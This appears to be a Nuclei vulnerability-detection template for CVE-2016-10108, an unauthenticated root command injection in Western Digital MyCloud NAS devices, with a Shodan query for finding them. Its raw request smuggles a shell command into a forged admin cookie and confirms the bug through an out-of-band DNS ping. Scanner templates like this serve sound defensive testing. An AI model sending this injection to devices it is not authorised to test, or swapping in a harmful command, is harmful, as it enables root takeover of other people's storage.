Western Digital MyCloud NAS - Command Injection

id: CVE-2016-10108

info:
  name: Western Digital MyCloud NAS - Command Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    Unauthenticated Remote Command injection as root occurs in the Western Digital MyCloud NAS 2.11.142 /web/google_analytics.php URL via a modified arg parameter in the POST data.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data loss, and potential compromise of the entire network.
  remediation: |
    Apply the latest firmware update provided by Western Digital to patch the vulnerability and ensure the device is not accessible from the internet.
  reference:
    - https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10108
    - https://packetstormsecurity.com/files/173802/Western-Digital-MyCloud-Unauthenticated-Command-Injection.html
    - http://packetstormsecurity.com/files/173802/Western-Digital-MyCloud-Unauthenticated-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-10108
    cwe-id: CWE-77
    epss-score: 0.86242
    epss-percentile: 0.98335
    cpe: cpe:2.3:a:western_digital:mycloud_nas:2.11.142:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: western_digital
    product: mycloud_nas
    shodan-query: http.favicon.hash:-1074357885
  tags: cve2016,cve,packetstorm,rce,oast,wdcloud,western_digital

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: isAdmin=1; username=admin|echo%20`ping -c 3 {{interactsh-url}}`; local_login=1

    matchers:
      - type: dsl
        dsl:
          - contains(body, "WDMyCloud")
          - contains(interactsh_protocol, "dns")
          - status_code == 200
        condition: and
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